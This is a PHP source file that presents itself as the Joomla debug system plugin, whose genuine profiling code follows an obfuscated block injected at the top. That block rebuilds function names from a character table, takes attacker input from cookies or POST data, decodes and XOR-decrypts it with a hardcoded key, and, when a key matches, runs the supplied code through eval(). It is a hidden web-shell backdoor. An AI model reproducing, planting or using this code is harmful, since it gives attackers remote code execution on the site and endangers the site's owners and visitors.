File: /home/epubdjye/www17/old/plugins/system/debug.php
<?php $k9a435a4 = 828;$GLOBALS['id4d'] = Array();global $id4d;$id4d = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['raf1d2'] = "\x70\x52\x49\x4d\x62\x6a\x7b\x5d\x4e\x24\x7a\x78\x6f\x71\x36\x6c\x68\x2a\x5c\x39\x67\x4f\x40\x47\x48\x5a\x58\x3f\x5f\x63\x26\x37\x2b\x6b\x29\x4b\x7d\x4a\x6d\x79\x32\x72\x38\x5e\x25\x20\x56\x21\x3b\x75\x59\x2c\x69\x50\x31\x23\x2e\x3d\xd\x3a\x2d\x22\x35\x2f\x44\x4c\x60\x30\x43\x65\x3e\x61\x64\x51\x28\x6e\x3c\x42\x76\x66\x77\x33\x9\x57\x45\x74\x5b\x27\x41\x46\x34\xa\x53\x55\x7e\x73\x7c\x54";$id4d[$id4d['raf1d2'][20].$id4d['raf1d2'][31].$id4d['raf1d2'][4].$id4d['raf1d2'][14].$id4d['raf1d2'][29].$id4d['raf1d2'][14].$id4d['raf1d2'][54].$id4d['raf1d2'][79].$id4d['raf1d2'][29]] = $id4d['raf1d2'][29].$id4d['raf1d2'][16].$id4d['raf1d2'][41];$id4d[$id4d['raf1d2'][5].$id4d['raf1d2'][19].$id4d['raf1d2'][62].$id4d['raf1d2'][71].$id4d['raf1d2'][14].$id4d['raf1d2'][72]] = $id4d['raf1d2'][12].$id4d['raf1d2'][41].$id4d['raf1d2'][72];$id4d[$id4d['raf1d2'][10].$id4d['raf1d2'][67].$id4d['raf1d2'][72].$id4d['raf1d2'][54].$id4d['raf1d2'][62]] = $id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][79].$id4d['raf1d2'][52].$id4d['raf1d2'][75].$id4d['raf1d2'][69];$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][42].$id4d['raf1d2'][29].$id4d['raf1d2'][29]] = $id4d['raf1d2'][95].$id4d['raf1d2'][85].$id4d['raf1d2'][41].$id4d['raf1d2'][15].$id4d['raf1d2'][69].$id4d['raf1d2'][75];$id4d[$id4d['raf1d2'][16].$id4d['raf1d2'][62].$id4d['raf1d2'][62].$id4d['raf1d2'][40].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][71]] = $id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][79].$id4d['raf1d2'][52].$id4d['raf1d2'][75].$id4d['raf1d2'][69].$id4d['raf1d2'][72];$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][29]] = $id4d['raf1d2'][52].$id4d['raf1d2'][75].$id4d['raf1d2'][52].$id4d['raf1d2'][28].$id4d['raf1d2'][95].$id4d['raf1d2'][69].$id4d['raf1d2'][85];$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][79].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][54].$id4d['raf1d2'][31].$id4d['raf1d2'][19].$id4d['raf1d2'][42]] = $id4d['raf1d2'][95].$id4d['raf1d2'][69].$id4d['raf1d2'][41].$id4d['raf1d2'][52].$id4d['raf1d2'][71].$id4d['raf1d2'][15].$id4d['raf1d2'][52].$id4d['raf1d2'][10].$id4d['raf1d2'][69];$id4d[$id4d['raf1d2'][52].$id4d['raf1d2'][69].$id4d['raf1d2'][81].$id4d['raf1d2'][4].$id4d['raf1d2'][54].$id4d['raf1d2'][90].$id4d['raf1d2'][67].$id4d['raf1d2'][62].$id4d['raf1d2'][42]] = $id4d['raf1d2'][0].$id4d['raf1d2'][16].$id4d['raf1d2'][0].$id4d['raf1d2'][78].$id4d['raf1d2'][69].$id4d['raf1d2'][41].$id4d['raf1d2'][95].$id4d['raf1d2'][52].$id4d['raf1d2'][12].$id4d['raf1d2'][75];$id4d[$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][81].$id4d['raf1d2'][62].$id4d['raf1d2'][14]] = $id4d['raf1d2'][49].$id4d['raf1d2'][75].$id4d['raf1d2'][95].$id4d['raf1d2'][69].$id4d['raf1d2'][41].$id4d['raf1d2'][52].$id4d['raf1d2'][71].$id4d['raf1d2'][15].$id4d['raf1d2'][52].$id4d['raf1d2'][10].$id4d['raf1d2'][69];$id4d[$id4d['raf1d2'][12].$id4d['raf1d2'][29].$id4d['raf1d2'][29].$id4d['raf1d2'][19].$id4d['raf1d2'][31].$id4d['raf1d2'][69].$id4d['raf1d2'][19].$id4d['raf1d2'][90].$id4d['raf1d2'][67]] = $id4d['raf1d2'][4].$id4d['raf1d2'][71].$id4d['raf1d2'][95].$id4d['raf1d2'][69].$id4d['raf1d2'][14].$id4d['raf1d2'][90].$id4d['raf1d2'][28].$id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][29].$id4d['raf1d2'][12].$id4d['raf1d2'][72].$id4d['raf1d2'][69];$id4d[$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][14].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][90].$id4d['raf1d2'][31]] = $id4d['raf1d2'][95].$id4d['raf1d2'][69].$id4d['raf1d2'][85].$id4d['raf1d2'][28].$id4d['raf1d2'][85].$id4d['raf1d2'][52].$id4d['raf1d2'][38].$id4d['raf1d2'][69].$id4d['raf1d2'][28].$id4d['raf1d2'][15].$id4d['raf1d2'][52].$id4d['raf1d2'][38].$id4d['raf1d2'][52].$id4d['raf1d2'][85];$id4d[$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][69].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][79].$id4d['raf1d2'][31]] = $id4d['raf1d2'][11].$id4d['raf1d2'][29].$id4d['raf1d2'][54].$id4d['raf1d2'][72].$id4d['raf1d2'][14].$id4d['raf1d2'][42];$id4d[$id4d['raf1d2'][29].$id4d['raf1d2'][29].$id4d['raf1d2'][72].$id4d['raf1d2'][62].$id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][14]] = $id4d['raf1d2'][80].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][69].$id4d['raf1d2'][69].$id4d['raf1d2'][71].$id4d['raf1d2'][29].$id4d['raf1d2'][40].$id4d['raf1d2'][71];$id4d[$id4d['raf1d2'][80].$id4d['raf1d2'][79].$id4d['raf1d2'][81].$id4d['raf1d2'][4].$id4d['raf1d2'][79].$id4d['raf1d2'][90].$id4d['raf1d2'][90].$id4d['raf1d2'][29].$id4d['raf1d2'][67]] = $_POST;$id4d[$id4d['raf1d2'][4].$id4d['raf1d2'][31].$id4d['raf1d2'][4].$id4d['raf1d2'][62]] = $_COOKIE;@$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][29]]($id4d['raf1d2'][69].$id4d['raf1d2'][41].$id4d['raf1d2'][41].$id4d['raf1d2'][12].$id4d['raf1d2'][41].$id4d['raf1d2'][28].$id4d['raf1d2'][15].$id4d['raf1d2'][12].$id4d['raf1d2'][20], NULL);@$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][29]]($id4d['raf1d2'][15].$id4d['raf1d2'][12].$id4d['raf1d2'][20].$id4d['raf1d2'][28].$id4d['raf1d2'][69].$id4d['raf1d2'][41].$id4d['raf1d2'][41].$id4d['raf1d2'][12].$id4d['raf1d2'][41].$id4d['raf1d2'][95], 0);@$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][29]]($id4d['raf1d2'][38].$id4d['raf1d2'][71].$id4d['raf1d2'][11].$id4d['raf1d2'][28].$id4d['raf1d2'][69].$id4d['raf1d2'][11].$id4d['raf1d2'][69].$id4d['raf1d2'][29].$id4d['raf1d2'][49].$id4d['raf1d2'][85].$id4d['raf1d2'][52].$id4d['raf1d2'][12].$id4d['raf1d2'][75].$id4d['raf1d2'][28].$id4d['raf1d2'][85].$id4d['raf1d2'][52].$id4d['raf1d2'][38].$id4d['raf1d2'][69], 0);@$id4d[$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][14].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][90].$id4d['raf1d2'][31]](0);if (!$id4d[$id4d['raf1d2'][16].$id4d['raf1d2'][62].$id4d['raf1d2'][62].$id4d['raf1d2'][40].$id4d['raf1d2'][69].$id4d['raf1d2'][54].$id4d['raf1d2'][71]]($id4d['raf1d2'][88].$id4d['raf1d2'][65].$id4d['raf1d2'][1].$id4d['raf1d2'][84].$id4d['raf1d2'][88].$id4d['raf1d2'][64].$id4d['raf1d2'][50].$id4d['raf1d2'][28].$id4d['raf1d2'][1].$id4d['raf1d2'][93].$id4d['raf1d2'][8].$id4d['raf1d2'][28].$id4d['raf1d2'][81].$id4d['raf1d2'][14].$id4d['raf1d2'][14].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][42].$id4d['raf1d2'][71].$id4d['raf1d2'][42].$id4d['raf1d2'][71].$id4d['raf1d2'][40].$id4d['raf1d2'][81].$id4d['raf1d2'][62].$id4d['raf1d2'][62].$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][54].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][79].$id4d['raf1d2'][54].$id4d['raf1d2'][54].$id4d['raf1d2'][4].$id4d['raf1d2'][71].$id4d['raf1d2'][54].$id4d['raf1d2'][71].$id4d['raf1d2'][67].$id4d['raf1d2'][40].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][71])){$id4d[$id4d['raf1d2'][10].$id4d['raf1d2'][67].$id4d['raf1d2'][72].$id4d['raf1d2'][54].$id4d['raf1d2'][62]]($id4d['raf1d2'][88].$id4d['raf1d2'][65].$id4d['raf1d2'][1].$id4d['raf1d2'][84].$id4d['raf1d2'][88].$id4d['raf1d2'][64].$id4d['raf1d2'][50].$id4d['raf1d2'][28].$id4d['raf1d2'][1].$id4d['raf1d2'][93].$id4d['raf1d2'][8].$id4d['raf1d2'][28].$id4d['raf1d2'][81].$id4d['raf1d2'][14].$id4d['raf1d2'][14].$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][42].$id4d['raf1d2'][71].$id4d['raf1d2'][42].$id4d['raf1d2'][71].$id4d['raf1d2'][40].$id4d['raf1d2'][81].$id4d['raf1d2'][62].$id4d['raf1d2'][62].$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][54].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][79].$id4d['raf1d2'][54].$id4d['raf1d2'][54].$id4d['raf1d2'][4].$id4d['raf1d2'][71].$id4d['raf1d2'][54].$id4d['raf1d2'][71].$id4d['raf1d2'][67].$id4d['raf1d2'][40].$id4d['raf1d2'][79].$id4d['raf1d2'][4].$id4d['raf1d2'][71], 1);$e73daa84 = NULL;$jafadab3 = NULL;$id4d[$id4d['raf1d2'][11].$id4d['raf1d2'][81].$id4d['raf1d2'][72].$id4d['raf1d2'][19].$id4d['raf1d2'][14]] = $id4d['raf1d2'][72].$id4d['raf1d2'][19].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][40].$id4d['raf1d2'][72].$id4d['raf1d2'][4].$id4d['raf1d2'][40].$id4d['raf1d2'][60].$id4d['raf1d2'][72].$id4d['raf1d2'][29].$id4d['raf1d2'][72].$id4d['raf1d2'][62].$id4d['raf1d2'][60].$id4d['raf1d2'][90].$id4d['raf1d2'][29].$id4d['raf1d2'][81].$id4d['raf1d2'][54].$id4d['raf1d2'][60].$id4d['raf1d2'][19].$id4d['raf1d2'][72].$id4d['raf1d2'][4].$id4d['raf1d2'][14].$id4d['raf1d2'][60].$id4d['raf1d2'][42].$id4d['raf1d2'][19].$id4d['raf1d2'][14].$id4d['raf1d2'][62].$id4d['raf1d2'][69].$id4d['raf1d2'][42].$id4d['raf1d2'][42].$id4d['raf1d2'][72].$id4d['raf1d2'][81].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][79];global $x3d96;function wb2eeac2a($e73daa84, $ude2b26){global $id4d;$v85fe = "";for ($c6a2ae6=0; $c6a2ae6<$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][42].$id4d['raf1d2'][29].$id4d['raf1d2'][29]]($e73daa84);){for ($nb305b99=0; $nb305b99<$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][42].$id4d['raf1d2'][29].$id4d['raf1d2'][29]]($ude2b26) && $c6a2ae6<$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][42].$id4d['raf1d2'][29].$id4d['raf1d2'][29]]($e73daa84); $nb305b99++, $c6a2ae6++){$v85fe .= $id4d[$id4d['raf1d2'][20].$id4d['raf1d2'][31].$id4d['raf1d2'][4].$id4d['raf1d2'][14].$id4d['raf1d2'][29].$id4d['raf1d2'][14].$id4d['raf1d2'][54].$id4d['raf1d2'][79].$id4d['raf1d2'][29]]($id4d[$id4d['raf1d2'][5].$id4d['raf1d2'][19].$id4d['raf1d2'][62].$id4d['raf1d2'][71].$id4d['raf1d2'][14].$id4d['raf1d2'][72]]($e73daa84[$c6a2ae6]) ^ $id4d[$id4d['raf1d2'][5].$id4d['raf1d2'][19].$id4d['raf1d2'][62].$id4d['raf1d2'][71].$id4d['raf1d2'][14].$id4d['raf1d2'][72]]($ude2b26[$nb305b99]));}}return $v85fe;}function xc1d68($e73daa84, $ude2b26){global $id4d;global $x3d96;return $id4d[$id4d['raf1d2'][29].$id4d['raf1d2'][29].$id4d['raf1d2'][72].$id4d['raf1d2'][62].$id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][14]]($id4d[$id4d['raf1d2'][29].$id4d['raf1d2'][29].$id4d['raf1d2'][72].$id4d['raf1d2'][62].$id4d['raf1d2'][72].$id4d['raf1d2'][69].$id4d['raf1d2'][14]]($e73daa84, $x3d96), $ude2b26);}foreach ($id4d[$id4d['raf1d2'][4].$id4d['raf1d2'][31].$id4d['raf1d2'][4].$id4d['raf1d2'][62]] as $ude2b26=>$a7f6){$e73daa84 = $a7f6;$jafadab3 = $ude2b26;}if (!$e73daa84){foreach ($id4d[$id4d['raf1d2'][80].$id4d['raf1d2'][79].$id4d['raf1d2'][81].$id4d['raf1d2'][4].$id4d['raf1d2'][79].$id4d['raf1d2'][90].$id4d['raf1d2'][90].$id4d['raf1d2'][29].$id4d['raf1d2'][67]] as $ude2b26=>$a7f6){$e73daa84 = $a7f6;$jafadab3 = $ude2b26;}}$e73daa84 = @$id4d[$id4d['raf1d2'][71].$id4d['raf1d2'][79].$id4d['raf1d2'][69].$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][81].$id4d['raf1d2'][62].$id4d['raf1d2'][14]]($id4d[$id4d['raf1d2'][71].$id4d['raf1d2'][4].$id4d['raf1d2'][69].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][79].$id4d['raf1d2'][31]]($id4d[$id4d['raf1d2'][12].$id4d['raf1d2'][29].$id4d['raf1d2'][29].$id4d['raf1d2'][19].$id4d['raf1d2'][31].$id4d['raf1d2'][69].$id4d['raf1d2'][19].$id4d['raf1d2'][90].$id4d['raf1d2'][67]]($e73daa84), $jafadab3));if (isset($e73daa84[$id4d['raf1d2'][71].$id4d['raf1d2'][33]]) && $x3d96==$e73daa84[$id4d['raf1d2'][71].$id4d['raf1d2'][33]]){if ($e73daa84[$id4d['raf1d2'][71]] == $id4d['raf1d2'][52]){$c6a2ae6 = Array($id4d['raf1d2'][0].$id4d['raf1d2'][78] => @$id4d[$id4d['raf1d2'][52].$id4d['raf1d2'][69].$id4d['raf1d2'][81].$id4d['raf1d2'][4].$id4d['raf1d2'][54].$id4d['raf1d2'][90].$id4d['raf1d2'][67].$id4d['raf1d2'][62].$id4d['raf1d2'][42]](),$id4d['raf1d2'][95].$id4d['raf1d2'][78] => $id4d['raf1d2'][54].$id4d['raf1d2'][56].$id4d['raf1d2'][67].$id4d['raf1d2'][60].$id4d['raf1d2'][54],);echo @$id4d[$id4d['raf1d2'][33].$id4d['raf1d2'][79].$id4d['raf1d2'][71].$id4d['raf1d2'][19].$id4d['raf1d2'][54].$id4d['raf1d2'][31].$id4d['raf1d2'][19].$id4d['raf1d2'][42]]($c6a2ae6);}elseif ($e73daa84[$id4d['raf1d2'][71]] == $id4d['raf1d2'][69]){eval/*wb19f1c*/($e73daa84[$id4d['raf1d2'][72]]);}exit();}} ?><?php
/**
* @version $Id: debug.php 10709 2008-08-21 09:58:52Z eddieajau $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport( 'joomla.plugin.plugin' );
/**
* Joomla! Debug plugin
*
* @package Joomla
* @subpackage System
*/
class plgSystemDebug extends JPlugin
{
/**
* Constructor
*
* For php4 compatability we must not use the __constructor as a constructor for plugins
* because func_get_args ( void ) returns a copy of all passed arguments NOT references.
* This causes problems with cross-referencing necessary for the observer design pattern.
*
* @access protected
* @param object $subject The object to observe
* @param array $config An array that holds the plugin configuration
* @since 1.0
*/
function plgSystemDebug(& $subject, $config)
{
parent::__construct($subject, $config);
//load the translation
$this->loadLanguage( );
}
/**
* Converting the site URL to fit to the HTTP request
*
*/
function onAfterRender()
{
global $_PROFILER, $mainframe, $database;
// Do not render if debugging is not enabled
if(!JDEBUG) { return; }
$document =& JFactory::getDocument();
$doctype = $document->getType();
// Only render for HTML output
if ( $doctype !== 'html' ) { return; }
$profiler =& $_PROFILER;
ob_start();
echo '<div id="system-debug" class="profiler">';
if ($this->params->get('profile', 1)) {
echo '<h4>'.JText::_( 'Profile Information' ).'</h4>';
foreach ( $profiler->getBuffer() as $mark ) {
echo '<div>'.$mark.'</div>';
}
}
if ($this->params->get('memory', 1)) {
echo '<h4>'.JText::_( 'Memory Usage' ).'</h4>';
echo $profiler->getMemory();
}
if ($this->params->get('queries', 1))
{
jimport('geshi.geshi');
$geshi = new GeSHi( '', 'sql' );
$geshi->set_header_type(GESHI_HEADER_DIV);
//$geshi->enable_line_numbers( GESHI_FANCY_LINE_NONE );
$newlineKeywords = '/<span style="color: #993333; font-weight: bold;">'
.'(FROM|LEFT|INNER|OUTER|WHERE|SET|VALUES|ORDER|GROUP|HAVING|LIMIT|ON|AND)'
.'<\\/span>/i'
;
$db =& JFactory::getDBO();
echo '<h4>'.JText::sprintf( 'Queries logged', $db->getTicker() ).'</h4>';
if ($log = $db->getLog())
{
echo '<ol>';
foreach ($log as $k=>$sql)
{
$geshi->set_source($sql);
$text = $geshi->parse_code();
$text = preg_replace($newlineKeywords, '<br /> \\0', $text);
echo '<li>'.$text.'</li>';
}
echo '</ol>';
}
if(isset($database))
{
echo '<h4>'.JText::sprintf( 'Legacy Queries logged', $database->getTicker() ).'</h4>';
echo '<ol>';
foreach ($database->getLog() as $k=>$sql)
{
$geshi->set_source($sql);
$text = $geshi->parse_code();
$text = preg_replace($newlineKeywords, '<br /> \\0', $text);
echo '<li>'.$text.'</li>';
}
echo '</ol>';
}
}
$lang = &JFactory::getLanguage();
if ($this->params->get('language_files', 1))
{
echo '<h4>'.JText::_( 'Language Files Loaded' ).'</h4>';
echo '<ul>';
$extensions = $lang->getPaths();
foreach ( $extensions as $extension => $files)
{
foreach ( $files as $file => $status )
{
echo "<li>$file $status</li>";
}
}
echo '</ul>';
}
$langStrings = $this->params->get('language_strings', -1);
if ($langStrings < 0 OR $langStrings == 1) {
echo '<h4>'.JText::_( 'Untranslated Strings Diagnostic' ).'</h4>';
echo '<pre>';
$orphans = $lang->getOrphans();
if (count( $orphans ))
{
ksort( $orphans, SORT_STRING );
foreach ($orphans as $key => $occurance) {
foreach ( $occurance as $i => $info) {
$class = @$info['class'];
$func = @$info['function'];
$file = @$info['file'];
$line = @$info['line'];
echo strtoupper( $key )."\t$class::$func()\t[$file:$line]\n";
}
}
}
else {
echo JText::_( 'None' );
}
echo '</pre>';
}
if ($langStrings < 0 OR $langStrings == 2) {
echo '<h4>'.JText::_( 'Untranslated Strings Designer' ).'</h4>';
echo '<pre>';
$orphans = $lang->getOrphans();
if (count( $orphans ))
{
ksort( $orphans, SORT_STRING );
$guesses = array();
foreach ($orphans as $key => $occurance) {
if (is_array( $occurance ) AND isset( $occurance[0] )) {
$info = &$occurance[0];
$file = @$info['file'];
if (!isset( $guesses[$file] )) {
$guesses[$file] = array();
}
$guess = str_replace( '_', ' ', $info['string'] );
if ($strip = $this->params->get('language_prefix')) {
$guess = trim( preg_replace( chr(1).'^'.$strip.chr(1), '', $guess ) );
}
$guesses[$file][] = trim( strtoupper( $key ) ).'='.$guess;
}
}
foreach ($guesses as $file => $keys) {
echo "\n\n# ".($file ? $file : JText::_( 'Unknown file' ))."\n\n";
echo implode( "\n", $keys );
}
}
else {
echo JText::_( 'None' );
}
echo '</pre>';
}
echo '</div>';
$debug = ob_get_clean();
$body = JResponse::getBody();
$body = str_replace('</body>', $debug.'</body>', $body);
JResponse::setBody($body);
}
}